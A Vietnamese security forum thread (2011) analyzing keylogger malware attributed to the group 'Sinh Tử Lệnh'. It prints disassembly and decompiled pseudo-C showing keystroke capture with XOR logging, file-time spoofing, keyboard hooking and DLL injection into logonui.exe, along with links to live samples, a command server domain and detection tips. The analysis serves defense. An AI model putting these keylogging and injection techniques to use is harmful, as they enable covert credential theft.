banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thủ thuật reverse engineering RCE đám virus của Sinh Tử Lệnh.  XML
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 26/05/2011 18:35:49 (+0700) | #31 | 237950
DQHSpCr
Member

[Minus]    0    [Plus]
Joined: 03/11/2010 03:23:31
Messages: 12
Offline
[Profile] [PM]

TQN wrote:
Anh em nào đã, đang phân tích 2 file .dll keylog của STL mà em up lên mediafire ?
Được gì thì post lên cho mọi người thảo luận cho đông vui, mình em độc diển buồn lắm. 

Anh có thể up lại được không, mấy link đó hình như die rồi ! smilie
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 26/05/2011 21:49:10 (+0700) | #32 | 237957
[Avatar]
xnohat
Moderator

Joined: 30/01/2005 13:59:19
Messages: 1210
Location: /dev/null
Offline
[Profile] [PM] [Email] [WWW] [Yahoo!] [MSN]
Thú vị thật, có vẻ mấy chú STL này vẫn thường tham gia sinh hoạt tại HVA, vì topic này mới lên mạng toàn cầu được vài bữa thì đã có chú ti toe dở mánh.

Bực mình khi có người nắm được thóp thì cứ tạo cái nick mới vào đây mà đấu trí, tiểu trí thì đấu khẩu cũng được, chi mà chơi ném đá dấu tay vậy ta
iJust clear, "What I need to do and how to do it"/i
br
brBox tán gẫu dời về: http://www.facebook.com/hvaonline
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 26/05/2011 22:11:27 (+0700) | #33 | 237962
[Avatar]
vikjava
Elite Member

[Minus]    0    [Plus]
Joined: 28/06/2004 02:32:38
Messages: 926
Location: NQN
Offline
[Profile] [PM]
Có lẽ anh TQN chưa đăng ký dịch vụ chuyển tiền qua ebanking. Quy định ngân hàng nhà nước hiện nay đối với dịch vụ chuyển tiền qua ebanking phải dùng xác thực mạnh như sms hoăc token

Đối với SMS, trước có thông tin virus zeus có khả năng Defeated luôn. smilie

- Xin hỏi đối với trường hợp các chương trình antivirus đều không phát hiện được, không có khả năng RCE như anh TQN. Đối với người quản trị hệ thống cần thực hiện những phương thức nào để có thể kiện toàn bảo mật cho hệ thống.


[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 26/05/2011 23:07:54 (+0700) | #34 | 237965
Ar0
Member

[Minus]    0    [Plus]
Joined: 14/01/2011 23:20:26
Messages: 165
Offline
[Profile] [PM]

vikjava wrote:
- Xin hỏi đối với trường hợp các chương trình antivirus đều không phát hiện được, không có khả năng RCE như anh TQN. Đối với người quản trị hệ thống cần thực hiện những phương thức nào để có thể kiện toàn bảo mật cho hệ thống. 

- Có những chính sách phù hợp về user và group, nên tuân theo các nguyên tắc như tối thiểu, ràng buộc, rõ ràng. (Quản lý phân quyển chặc chẽ, không tạo ra lỗ hổng phân quyền, không cấp quyền dư hoặc thiếu, có nhiều điều kiện ràng buộc giữa các user và group như passwd, chứng thực, quản lý log rõ ràng, dễ theo dõi, ...)
- Quản lý tốt các dịch vụ, giới hạn trong khuôn khổ nhất định về tài nguyên và sự can thiệp vào trong hệ thống. (Quản lý quá trình chạy, config chặt chẽ, tối ưu về dịch vụ và quản lý quyền hạn, xây dựng hệ thống firewall quản lý các port, các dòng dữ liệ vào ra, quản lý sự can thiệp vào trong các tiến trình, dịch vụ khác, sự tương tác với các dịch vụ khác)
- Thường xuyên giám sát hệ thống.
- Xây dựng quy trình quản lý rủi ro.

Vài ý nghĩ ra thôi, có gì thiếu sót vikjava và mọi người bổ sung nhé. smilie
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 26/05/2011 23:19:27 (+0700) | #35 | 237966
[Avatar]
tmd
Member

[Minus]    0    [Plus]
Joined: 28/06/2006 03:39:48
Messages: 2951
Offline
[Profile] [PM]
Về giám sát mạng ở phần cứng firewall,route,... Trong thông tin TQN có nói tới nó sẽ có truy suất tới 1 cái địa chỉ nào đó có trong mã độc. Hệ thống route/firewall hướng ra ngoài internet learn thấy một IP ngoại lai nào đó "mới" thì có cảnh báo cho người chuyên theo dõi.

Chính sách hoạt động rõ ràng(con người và kỹ thuật) đi đôi đều giảm thiểu được phần lớn chuyện cá nhân tò mò.
3 giai đoạn của con... người, ban đầu dek biết gì thì phải thăm dò, sau đó biết rồi thì phải thân thiết, sau cùng khi quá thân thiết rồi thì phải tình thương mến thương. Nhưng mà không thương được thì ...
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 27/05/2011 14:31:26 (+0700) | #36 | 238006
vmtdttt
Member

[Minus]    0    [Plus]
Joined: 10/07/2010 10:49:32
Messages: 2
Offline
[Profile] [PM]
Vô muộn có mấy ngày mà hiện không còn link nào sống được cả. Các link mediafire mà TQN đăng lên bây giờ đều không vào được. Mong anh TQN, hoặc ai đó có mẫu up lại để mọi người cùng phân tích nhé...
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 27/05/2011 15:21:28 (+0700) | #37 | 238009
[Avatar]
quanta
Moderator

Joined: 28/07/2006 14:44:21
Messages: 7265
Location: $ locate `whoami`
Offline
[Profile] [PM]
Chắc anh TQN có ý tốt: sợ các bạn phân tích không cẩn thận lại "dính chưởng" nên xoá đi rồi.
Let's build on a great foundation!
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 27/05/2011 18:08:45 (+0700) | #38 | 238021
vmtdttt
Member

[Minus]    0    [Plus]
Joined: 10/07/2010 10:49:32
Messages: 2
Offline
[Profile] [PM]

quanta wrote:
Sợ các bạn phân tích không cẩn thận lại "dính chưởng" nên xoá đi rồi. 


smilie smilie smilie smilie smilie smilie smilie smilie smilie smilie
Chắc không phải lý do này chứ, nếu mà lỡ có dính... cùng đường lắm thì nhờ các chuyên gia trên hva diệt giùm.
Ai có mẫu up lên cho em ngó mặt một chút nhé.
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 27/05/2011 18:40:40 (+0700) | #39 | 238024
TQN
Elite Member

[Minus]    0    [Plus]
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
[Profile] [PM] [WWW] [Yahoo!]
3, 4 ngày nữa mình vào SG, mình sẽ úp lên hết lại tất cả những mẩu virus/malware của STL mà mình đang có cho mọi anh em IT, Reverser cùng vào phân tích.
Mục đích cuối cùng cả chúng ta là sẽ góp phần nhỏ lật mặt nạ đám STL.
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 30/05/2011 12:23:58 (+0700) | #40 | 238207
TQN
Elite Member

[Minus]    0    [Plus]
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
[Profile] [PM] [WWW] [Yahoo!]
Hì hì, cuối cùng cũng vào tới SG. Tối hôm qua, 11h đêm, đứng một mình ở ngoài đường của TP.BMT đón xe vào SG, mưa tầm tã, nghĩ khổ và tủi cho cái thân mình. Nhưng giờ cũng về rồi. Về tới SG, về tới nhà là nhẹ cả người.

Việc đầu tiên, sửa chữa lặt vặt đèn đóm xong (sao cứ mình đi là đèn, điện hư), xong ngồi vào máy (tới giờ luôn). Si nghĩ, "tích phân" tình hình.
- Việc đầu tiên: config lại modem, tắt wireless luôn.
- Đổi tất cả pass login vào máy.
- Uninstall KAV, update lên KIS 2011.
- Tắt hết các service không cần thiết. Autoruns nào nghi ngho thì RCE luôn.
- Khôi phục một loạt các password bị chôm. Cảm ơn tụi STL mày nhé. Tao lỳ đòn và kỹ tính có tiếng mà. Dể gì ba cái ăn cắp pass vớ vẫn của tụi bây mà tao sợ. Dể gì ăn cắp pass blog, facebook, mail của tao được. Mà trong đó có "chó" gì đâu mà cho tụi bây xem. Mấy cái blog của tao chỉ vỏn vẹn có 1 topic, 1 dòng về RCE do tao làm lười viết thì có cái gì. Bày đặt post TQN là TQN ơi nữa hả. Vào xem lại đi, tao xoá sạch cái post của tụi mày rồi.
- Kiểm tra khi tao đi, thằng nào login vào hộp mail yahoo của tao. À thì ra tụi mày có thằng ở bên US à:

Tháng 5 28, 2011 10:25 AM Trình duy?t Ðang nh?p vào Mail PA, US
Tháng 5 26, 2011 5:25 PM Trình duy?t Ðang nh?p vào Mail PA, US
Tháng 5 26, 2011 12:32 PM Trình duy?t Ðang nh?p vào Mail PA, US
Tháng 5 26, 2011 1:31 AM Trình duy?t Ðang nh?p vào Mail FL, US
Tháng 5 26, 2011 1:27 AM Trình duy?t Truy c?p Mail VA, US
Tháng 5 26, 2011 1:22 AM Trình duy?t Ðang nh?p vào Mail VA, US
Tháng 5 26, 2011 12:20 AM Trình duy?t Truy c?p Mail PA, US
 

Tao công nhận là tao không phải là thằng chuyên về IT, trình độ của tao thì có hạn, về nhiều lãnh vực nào đó trong IT thì không bằng tụi mày, nhưng tao không mất đạo đức, khốn nạn như tụi mày, trình độ ăn cắp, phá hoại thì "em xin gọi anh là sư phụ". Tụi mày có tài giỏi nhưng mà không có đức thì cũng không bằng thằng ăn trộm, ăn cướp ngoài đường. Dân mà bắt được tụi mày thì nó đập chết cha tui mày luôn.

PS: Sorry anh em mod, admin của HVA nhé, tính em nóng như Trương Phi, tức lên là ăn nói bạt mạng.

Chúng ta sẽ cùng tiếp tục phân tích đám malware của tụi "Sống Chết theo lệnh" này.

11:00 AM Trình duyệt Đăng nhập CA, US
 

Chậm chân rồi mấy cu ơi.
Chiều giờ, tui nó login liên tục vào mail Yahoo của em. Em sơ ý quá, quên lấy cái IP của tui nó, giờ vào thì chỉ còn log từ sáng tới giờ. Sorry anh em nhé.
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 30/05/2011 16:50:40 (+0700) | #41 | 238232
phanledaivuong
Member

[Minus]    0    [Plus]
Joined: 23/05/2008 17:34:21
Messages: 315
Location: /dev/null
Offline
[Profile] [PM] [WWW]
Tụi này dốt rồi. gây án xong lại quay trở lại hiện trường smilie giống hệt cu Trần Đức Thiện hồi tết năm nay lừa đảo con Laptop cũng bị tóm vì login lại nick lừa đảo vào hh.vn smilie ngẫm cũng tội smilie già rồi mà ng* smilie bị bác TQN làm cái 2pic này khích tướng :-<
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 30/05/2011 17:26:45 (+0700) | #42 | 238234
TQN
Elite Member

[Minus]    0    [Plus]
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
[Profile] [PM] [WWW] [Yahoo!]
Mấy cái file em up lên mediafire, tụi này sau khi chôm đươc pass Yahoo của em đã login vào xoá sạch. Bây giờ em xin phép up lại:
1. File virus.doc + virus.exe: http://www.mediafire.com/?24238f1vktaswu8
2. File keylog và downloader của tụi này: http://www.mediafire.com/?ashngg5ae22qj3l
Cả hai file đều có pwd là: malware.
Đối với keylog, anh em không cần tập trung vào HARDKBD.DLL, chỉ nên tập trung vào wbmain_.dll.
File HARDKBD.DLL chỉ là một keylog bình thường (hoặc hơn bình thường một chút). Mọi key press của victim sẽ được lưu vào thành file msdata.vxd, và toàn bộ file được xor với 0x6F.
Nếu trên may các bạn có một HexEditor nào đó như WinHex, 101Editor, sau khi xor với 0x6F, các bạn sẽ thấy lại nội dung nguyên bản của file này.
Code:
.text:10002B70 write_xor_0x6F_to_msdata_vxd_file proc near
.text:10002B70                                         ; CODE XREF: ThreadInLogOnUIExe+E0p
.text:10002B70                                         ; sub_10001560+99p
.text:10002B70                                         ; WinLogonThreadProc+2Dp
.text:10002B70                                         ; sub_10001AB0+87p
.text:10002B70                                         ; DllRegisterServer+17Ap
.text:10002B70                                         ; DllRegisterServer:loc_10002418p
.text:10002B70                                         ; sub_10002450+1D7p
.text:10002B70                                         ; sub_10002450+20Ep
.text:10002B70                                         ; sub_10002A10+138p
.text:10002B70
.text:10002B70 NumberOfBytesWritten= dword ptr -4
.text:10002B70 hFile   = dword ptr  8
.text:10002B70 pszTxt  = dword ptr  0Ch
.text:10002B70
.text:10002B70         push    ebp
.text:10002B71         mov     ebp, esp
.text:10002B73         push    ecx
.text:10002B74         push    ebx
.text:10002B75         mov     ebx, eax
.text:10002B77         mov     eax, [ebp+pszTxt]
.text:10002B7A         test    eax, eax
.text:10002B7C         jz      @@Return_FALSE
.text:10002B7C
.text:10002B82         test    ebx, ebx
.text:10002B84         jz      @@Return_FALSE
.text:10002B84
.text:10002B8A         push    edi
.text:10002B8B         mov     edi, [ebp+hFile]
.text:10002B8E         cmp     edi, 0FFFFFFFFh
.text:10002B91         jnz     short loc_10002B9B
.text:10002B91
.text:10002B93         or      eax, edi
.text:10002B95         pop     edi
.text:10002B96         pop     ebx
.text:10002B97         mov     esp, ebp
.text:10002B99         pop     ebp
.text:10002B9A         retn
.text:10002B9A
.text:10002B9B ; ---------------------------------------------------------------------------
.text:10002B9B
.text:10002B9B loc_10002B9B:                           ; CODE XREF: write_xor_0x6F_to_msdata_vxd_file+21j
.text:10002B9B         lea     edx, [eax+1]
.text:10002B9E         mov     edi, edi
.text:10002B9E
.text:10002BA0
.text:10002BA0 @@FindLen:                              ; CODE XREF: write_xor_0x6F_to_msdata_vxd_file+35j
.text:10002BA0         mov     cl, [eax]
.text:10002BA2         inc     eax
.text:10002BA3         test    cl, cl
.text:10002BA5         jnz     short @@FindLen
.text:10002BA5
.text:10002BA7         sub     eax, edx
.text:10002BA9         jnz     short @@AllocMem
.text:10002BA9
.text:10002BAB         pop     edi
.text:10002BAC         pop     ebx
.text:10002BAD         mov     esp, ebp
.text:10002BAF         pop     ebp
.text:10002BB0         retn
.text:10002BB0
.text:10002BB1 ; ---------------------------------------------------------------------------
.text:10002BB1
.text:10002BB1 @@AllocMem:                             ; CODE XREF: write_xor_0x6F_to_msdata_vxd_file+39j
.text:10002BB1         push    esi
.text:10002BB2         push    ebx                     ; size_t
.text:10002BB3         call    operator new(uint)
.text:10002BB3
.text:10002BB8         push    ebx                     ; size_t
.text:10002BB9         mov     esi, eax
.text:10002BBB         push    0                       ; int
.text:10002BBD         push    esi                     ; void *
.text:10002BBE         call    _memset
.text:10002BBE
.text:10002BC3         add     esp, 10h
.text:10002BC6         test    ebx, ebx
.text:10002BC8         jle     short @@WriteXorData
.text:10002BC8
.text:10002BCA         mov     ecx, [ebp+pszTxt]
.text:10002BCD         mov     eax, esi
.text:10002BCF         sub     ecx, esi
.text:10002BD1         mov     edi, ebx
.text:10002BD1
.text:10002BD3
.text:10002BD3 @@XorLoop:                              ; CODE XREF: write_xor_0x6F_to_msdata_vxd_file+6Dj
.text:10002BD3         mov     dl, [ecx+eax]
.text:10002BD6         xor     dl, 6Fh
.text:10002BD9         mov     [eax], dl
.text:10002BDB         inc     eax
.text:10002BDC         dec     edi
.text:10002BDD         jnz     short @@XorLoop
.text:10002BDD
.text:10002BDF         mov     edi, [ebp+hFile]
.text:10002BDF
.text:10002BE2
.text:10002BE2 @@WriteXorData:                         ; CODE XREF: write_xor_0x6F_to_msdata_vxd_file+58j
.text:10002BE2         push    2                       ; dwMoveMethod
.text:10002BE4         push    0                       ; lpDistanceToMoveHigh
.text:10002BE6         push    0                       ; lDistanceToMove
.text:10002BE8         push    edi                     ; hFile
.text:10002BE9         mov     [ebp+NumberOfBytesWritten], 0
.text:10002BF0         call    ds:SetFilePointer       ; Moves the file pointer of an open file.
.text:10002BF0
.text:10002BF6         push    0                       ; lpOverlapped
.text:10002BF8         lea     eax, [ebp+NumberOfBytesWritten]
.text:10002BFB         push    eax                     ; lpNumberOfBytesWritten
.text:10002BFC         push    ebx                     ; nNumberOfBytesToWrite
.text:10002BFD         push    esi                     ; lpBuffer
.text:10002BFE         push    edi                     ; hFile
.text:10002BFF         call    ds:WriteFile            ; Writes data to a file and is designed for both synchronous and asynchronous operation.
.text:10002BFF                                         ; The function starts writing data to the file at the position indicated by the file pointer.
.text:10002BFF
.text:10002C05         mov     ebx, eax
.text:10002C07         test    edi, edi
.text:10002C09         jz      short @@Return_TRUE
.text:10002C09
.text:10002C0B         cmp     dword_10021914, 0
.text:10002C12         jnz     short @@ChangeTime
.text:10002C12
.text:10002C14         call    FindAndGetTimeOfWinLogonExe
.text:10002C14
.text:10002C19         test    eax, eax
.text:10002C1B         jz      short @@Return_TRUE
.text:10002C1B
.text:10002C1D
.text:10002C1D @@ChangeTime:                           ; CODE XREF: write_xor_0x6F_to_msdata_vxd_file+A2j
.text:10002C1D         push    offset WinLogonExe_LastWriteTime ; lpLastWriteTime
.text:10002C22         push    offset WinLogonExe_LastAccessTime ; lpLastAccessTime
.text:10002C27         push    offset WinLogonExe_CreationTime ; lpCreationTime
.text:10002C2C         push    edi                     ; hFile
.text:10002C2D         call    ds:SetFileTime          ; Sets the date and time that a file was created, last accessed, or last modified.
.text:10002C2D
.text:10002C33
.text:10002C33 @@Return_TRUE:                          ; CODE XREF: write_xor_0x6F_to_msdata_vxd_file+99j
.text:10002C33                                         ; write_xor_0x6F_to_msdata_vxd_file+ABj
.text:10002C33         push    esi
.text:10002C34         call    operator_free
.text:10002C34
.text:10002C39         add     esp, 4
.text:10002C3C         pop     esi
.text:10002C3D         pop     edi
.text:10002C3E         mov     eax, ebx
.text:10002C40         pop     ebx
.text:10002C41         mov     esp, ebp
.text:10002C43         pop     ebp
.text:10002C44         retn
.text:10002C44
.text:10002C45 ; ---------------------------------------------------------------------------
.text:10002C45
.text:10002C45 @@Return_FALSE:                         ; CODE XREF: write_xor_0x6F_to_msdata_vxd_file+Cj
.text:10002C45                                         ; write_xor_0x6F_to_msdata_vxd_file+14j
.text:10002C45         xor     eax, eax
.text:10002C47         pop     ebx
.text:10002C48         mov     esp, ebp
.text:10002C4A         pop     ebp
.text:10002C4B         retn
.text:10002C4B
.text:10002C4B write_xor_0x6F_to_msdata_vxd_file endp


PS: Mọi người nên cẩn thận các trình gỏ tiếng Việt mà mình đang dùng: Unikey, Vietkey.
Nếu search trong máy có file msdata.vxd thì các bạn đã bị nhiểm keylog của tụi: "Sống Chết nghe theo lệnh" này.

Tiếp theo, em sẽ post tiếp RCE của file wbmain.dll.
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 30/05/2011 17:29:14 (+0700) | #43 | 238236
PXMMRF
Administrator

Joined: 26/09/2002 07:17:55
Messages: 946
Offline
[Profile] [PM]

TQN wrote:

................................
- Kiểm tra khi tao đi, thằng nào login vào hộp mail yahoo của tao. À thì ra tụi mày có thằng ở bên US à:

Tháng 5 28, 2011 10:25 AM Trình duy?t Ðang nh?p vào Mail PA, US
Tháng 5 26, 2011 5:25 PM Trình duy?t Ðang nh?p vào Mail PA, US
Tháng 5 26, 2011 12:32 PM Trình duy?t Ðang nh?p vào Mail PA, US
Tháng 5 26, 2011 1:31 AM Trình duy?t Ðang nh?p vào Mail FL, US
Tháng 5 26, 2011 1:27 AM Trình duy?t Truy c?p Mail VA, US
Tháng 5 26, 2011 1:22 AM Trình duy?t Ðang nh?p vào Mail VA, US
Tháng 5 26, 2011 12:20 AM Trình duy?t Truy c?p Mail PA, US
 

..................................................
Chúng ta sẽ cùng tiếp tục phân tích đám malware của tụi "Sống Chết theo lệnh" này.

11:00 AM Trình duyệt Đăng nhập CA, US
 

Chậm chân rồi mấy cu ơi.
Chiều giờ, tui nó login liên tục vào mail Yahoo của em. Em sơ ý quá, quên lấy cái IP của tui nó, giờ vào thì chỉ còn log từ sáng tới giờ. Sorry anh em nhé. 


Hì hì thì có vài cái IP liên quan đây TQN à!

Qua RCE file ....doc của STL, TQN đã tìm ra domain của website mà malware truy câp đền (để gửi đến các thông tin lấy cắp từ máy nạn nhân, cũng như nhận các command từ website ) là SMARTSHOW.INFO.

Hiện nay website Smartshow.info nay đã không active, nên không thể trực tiếp resolve ra địa chỉ IP, computer name. location.... và các thông tin khác của webserver đang hosting website nói trên, cũng như mailserver liên quan mà STL đang dùng hay đã từng dùng. Đó cũng là cách mà STL dấu bài.


Nhưng người ta vẫn có cách tìm ra những thông tin quan trong liên quan đến smartshow.info domain và website
, dù rằng STL đã "tắt" website này từ lâuvà nhiều thông tin whois của domain đã được che đậy với kỹ thuật Private protection, như ta đã thấy.

Sẽ xin viết cụ thể trong bài tới
The absence of disagreement is not harmony, it's apathy.
(Socrates)
Honest disagreement is often a good sign of progress.
(Mahatma Gandhi)
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 30/05/2011 17:39:18 (+0700) | #44 | 238239
TQN
Elite Member

[Minus]    0    [Plus]
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
[Profile] [PM] [WWW] [Yahoo!]
Hoan hô anh PXMMRF. Có anh tham gia là em thấy vui rồi, không thấy đơn độc nữa.
Mấy cái vụ network, IP anh là sư phụ của em, mở topic mới nhé. Còn không là mai mốt offline, em dí anh cụng ly đấy.
PS: Nói riêng với anh em STL nhé, em lỳ đòn khét tiếng đấy, hồi còn đấu đài ngồi Gialai, em bị mấy anh em đồng bào đánh lên bờ xuống ruộng, nhưng em vẫn trụ được và thắng điểm đấy nhé! Đánh giá lại đối thủ đi nhé, mấy nhóc STL, ăn học uổng cơm uổng gạo nhà nước, nhân dân.
Trình độ code, RCE của em thì là cùi bắp với mấy đại ca thôi. Nên nếu em post có gì sai thì vào chỉ bảo nhé. Tui mày hơn tao ở chổ có tài trợ, đi du học, còn tao phải vừa lăn ra làm, bulon, ocvit, hàn cắt, thì sao bằng tui mày được. Phải không, mấy công tử COCC đi học trên tiền thuế của dân nghèo VN.
Em có cái chủ quan, và cái VM của em trên cả real machine của em nó cùi bắp quá, chạy không nổi, nên em cứ phân tích sống trên máy thật (máy riêng, không phải máy làm ăn). Nên mới bị dính như vầy. Nhiều file keylog, malware của tụi này, khi em cách ly ra, em cứ chép chung vào một thư mục, nên khi phân tích, sẽ có thiếu sót về dây chuyền hoạt động của đám malware này. Anh em thông cảm nhé !
Ông nội nào vừa gởi cho em file SecretCrushRevealer.exe thế !? Ra mặt đi, đánh giá em thấp thế, em đâu có ngu tới mức bất cứ file .exe nào gởi cho em là em run liền để dính chấu đâu mấy đại ca. Nghề của em là phân tích PE, ELF file mà ???
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 30/05/2011 21:49:57 (+0700) | #45 | 238250
quangredlight
Member

[Minus]    0    [Plus]
Joined: 14/09/2008 18:52:09
Messages: 15
Offline
[Profile] [PM]
Em vẫn thấy cái thuật toán mã hoá 6 tên miền trong HARDKBD là khó hiểu, bác TQN có thể phân tích đoạn ấy ko ạ, có có 2 key để giải mã ấy, rồi lấy ngẫu nhiên 1 trong 6 tên miền
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 31/05/2011 04:03:33 (+0700) | #46 | 238256
TQN
Elite Member

[Minus]    0    [Plus]
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
[Profile] [PM] [WWW] [Yahoo!]
Hoan hô quangredlight. Em có được gì rồi, post lên chia sẽ mọi người đi em.
Em hỏi Hardkbd.dll hay wbmain.dll ? Hardkbd.dll chỉ là keylog thôi mà, hay tui bỏ sót. VA của function đó = ?

Đúng là tui có thiếu sót, Hardkbd.dll còn một thằng anh em đi kèm với nó nữa: IEFrame.ocx (giả danh IEFrame.dll của IE). Bà con nào có up lên cho tui và mọi người nhé.

Nếu bạn nào phát hiện có msdata.vxd trong System32 hay Local App Data thì lập tức dùng các tool chuyên xoá file như Unlocker, XueTr, IceSword... để move hay delete liền 2 file: hardkbd.dll và ieframe.ocx ngay.

[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 31/05/2011 07:44:30 (+0700) | #47 | 238262
Kihote
Member

[Minus]    0    [Plus]
Joined: 27/10/2008 17:00:46
Messages: 24
Offline
[Profile] [PM]
hi anh TQN hịc thấy anh nóng máu quá =.= .
em Whois domain đó thấy DNS domain trỏ về

Name Server:NS1.BYETHOST42.ORG
Name Server:NS2.BYETHOST42.ORG

Sao ko thử liên hệ bên đó xem log bên đó anh nhỉ ? Lần theo domain phải là cách hông anh? Em thấy lần theo domain nó âm u quá.
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 31/05/2011 11:07:02 (+0700) | #48 | 238280
PXMMRF
Administrator

Joined: 26/09/2002 07:17:55
Messages: 946
Offline
[Profile] [PM]

Kihote wrote:
hi anh TQN hịc thấy anh nóng máu quá =.= .
em Whois domain đó thấy DNS domain trỏ về

Name Server:NS1.BYETHOST42.ORG
Name Server:NS2.BYETHOST42.ORG

Sao ko thử liên hệ bên đó xem log bên đó anh nhỉ ? Lần theo domain phải là cách hông anh? Em thấy lần theo domain nó âm u quá.
 


Đây chỉ là domain name của các máy chủ phân giải tên miền (Name servers) của tên miền-website SMARTSHOW.INFO thôi. Không phải là host name (computer name) của webserver (máy chủ chứa websites), mà website SMARTSHOW.INFO của STL đang hosting trên webserver này. Mailserver của STL cũng nằm tai server nói trên.

Nó "âm u" quá, thì ta phải make it more clear ra chứ. Hì hì

Đã có thêm một số thông tin về Hardkbd.dll wbmain.dll. Sẽ xin post ở bài kế tiếp (chắc là trước bài sẽ viết về SMARTSHOW.INFO website)
The absence of disagreement is not harmony, it's apathy.
(Socrates)
Honest disagreement is often a good sign of progress.
(Mahatma Gandhi)
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 31/05/2011 11:51:48 (+0700) | #49 | 238283
TQN
Elite Member

[Minus]    0    [Plus]
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
[Profile] [PM] [WWW] [Yahoo!]
Hoan hô anh PMXMRF, vậy thì nhanh lên anh. Em rất nóng lòng chờ đọc bài của anh.
Hôm qua giờ tui nó cứ liên tục tìm cách khôi phục password mail của em sau khi em chiếm lại.
Anh em nào có ieframe.ocx trên máy thì up lên mediafire giúp em cái. Nếu có thì em mới post phân tích của hardkbd.dll được.
Em rút kinh nghiệm rồi, những malware em có, trừ đám Vecebot mà Zorro gởi (KAV đã phát hiện), em đã gởi thẳng cho Kaspersky Lab rồi.

Dưới đây là đoạn pesudo-C code của hàm Main của hardkbd.dll:
Code:
osVer = GetVersion();
  pszPath = 0;
  memset(buffer, 0, 518u);
  hProcess = GetCurrentProcess();
  GetModuleFileNameExW(hProcess, 0, &pszPath, 260u);
  PathStripPathW(&pszPath);
  if ( !_wcsicmp(&pszPath, L"services.exe") )
  {
      ThreadId = 0;
      CreateThread(0, 0, ServicesThreadProc, 0, 0, &ThreadId);
  }
  notWinLogonExe = _wcsicmp(&pszPath, L"winlogon.exe");
  if ( osVer == 6 )
  {
      if ( notWinLogonExe )
          goto @@IsExplorer;
      ThreadId = 0;
      CreateThread(0, 0, WinLogonThreadProc, 0, 0, &ThreadId);
      ptid = &ThreadId;
      createFlags = 0;
      pParams = 0;
      threadProc = InjectExplorerThreadProc;
      goto @@CreateThread;
  }
  if ( !notWinLogonExe )
  {
      ThreadId = 0;
      InitMSDataVXDFile_LoadIEFrameOCX_HookKeyboard();
      CreateThread(0, 0, InjectExplorerThreadProc, 0, 0, &ThreadId);
  }
  if ( !_wcsicmp(&pszPath, L"logonui.exe") )
  {
      ptid = &ThreadId;
      createFlags = 0;
      pParams = 0;
      ThreadId = 0;
      threadProc = ThreadInLogOnUIExe;
@@CreateThread:
      CreateThread(0, 0, threadProc, pParams, createFlags, ptid);
  }
@@IsExplorer:
  if ( !_wcsicmp(&pszPath, L"explorer.exe") )
  {
      ThreadId = 0;
      CreateThread(0, 0, ThreadInExplorer, 0, 0, &ThreadId);
  }
  return -1;


Đoạn code khởi tạo file msdata.vxd, load ieframe.ocx và hook keyboard:
Code:
if ( SHGetFolderPathA(0, CSIDL_COOKIES|CSIDL_PRINTERS, 0, 0, &DstBuf) < 0
    || (sprintf_s(&DstBuf, 260u, "%s\\msdata.vxd", &DstBuf),
        hmsdatavxd = CreateMSDataVxdFile(&DstBuf),
        hObject = hmsdatavxd,
        hmsdatavxd == -1) )
  {
      result = -1;
  }
  else
  {
      g_hmsdatavxdfile = hmsdatavxd;
      v2 = GetCurrentThreadId();
      SetWindowsHookExA(WH_KEYBOARD, DllRegisterServer, 0, v2);
      write_xor_0x6F_to_msdata_vxd_file(0x12u, hObject, "\r\n[Logon Window]\r\n");
      ThreadId = 0;
      CreateThread(0, 0, RemoteLoadIEFrameOCX, 0, 0, &ThreadId);
      result = 0;
  }
  return result;


Đoạn code load ieframe.ocx:

Code:
do
  {
      Sleep(2000u);
      hLogonUIExe = FindLogonUIExeHandle();
      outputDbgBuf[0] = 0;
      memset(&outputDbgBuf[1], 0, 0x7Fu);
      sprintf_s(outputDbgBuf, 0x80u, "Logonui %i", hLogonUIExe);
      OutputDebugStringA(outputDbgBuf);
  }
  while ( !hLogonUIExe );
  *wszOcxPath = 0;
  memset(&wszOcxPath[2], 0, 0x144Eu);
  GetModuleFileNameW(hDLLInstance, wszOcxPath, 2600u);
  *wczDllPath = 0;
  memset(&wczDllPath[2], 0, 0x144Eu);
  GetModuleFileNameW(hDLLInstance, wczDllPath, 0xA28u);
  PathStripPathW(wczDllPath);
  *StrStrIW(wszOcxPath, wczDllPath) = 0;
  wcscat_s(wszOcxPath, 0xA28u, L"ieframe.ocx");
  hProcess = OpenProcess(0x3Au, 0, hLogonUIExe);
  v3 = hProcess;
  if ( hProcess )
  {
      lpMem = VirtualAllocEx(hProcess, 0, 0x1450u, 0x3000u, 4u);
      if ( lpMem )
      {
          lpwsz = wszOcxPath;
          NumberOfBytesWritten = 0;
          do
          {
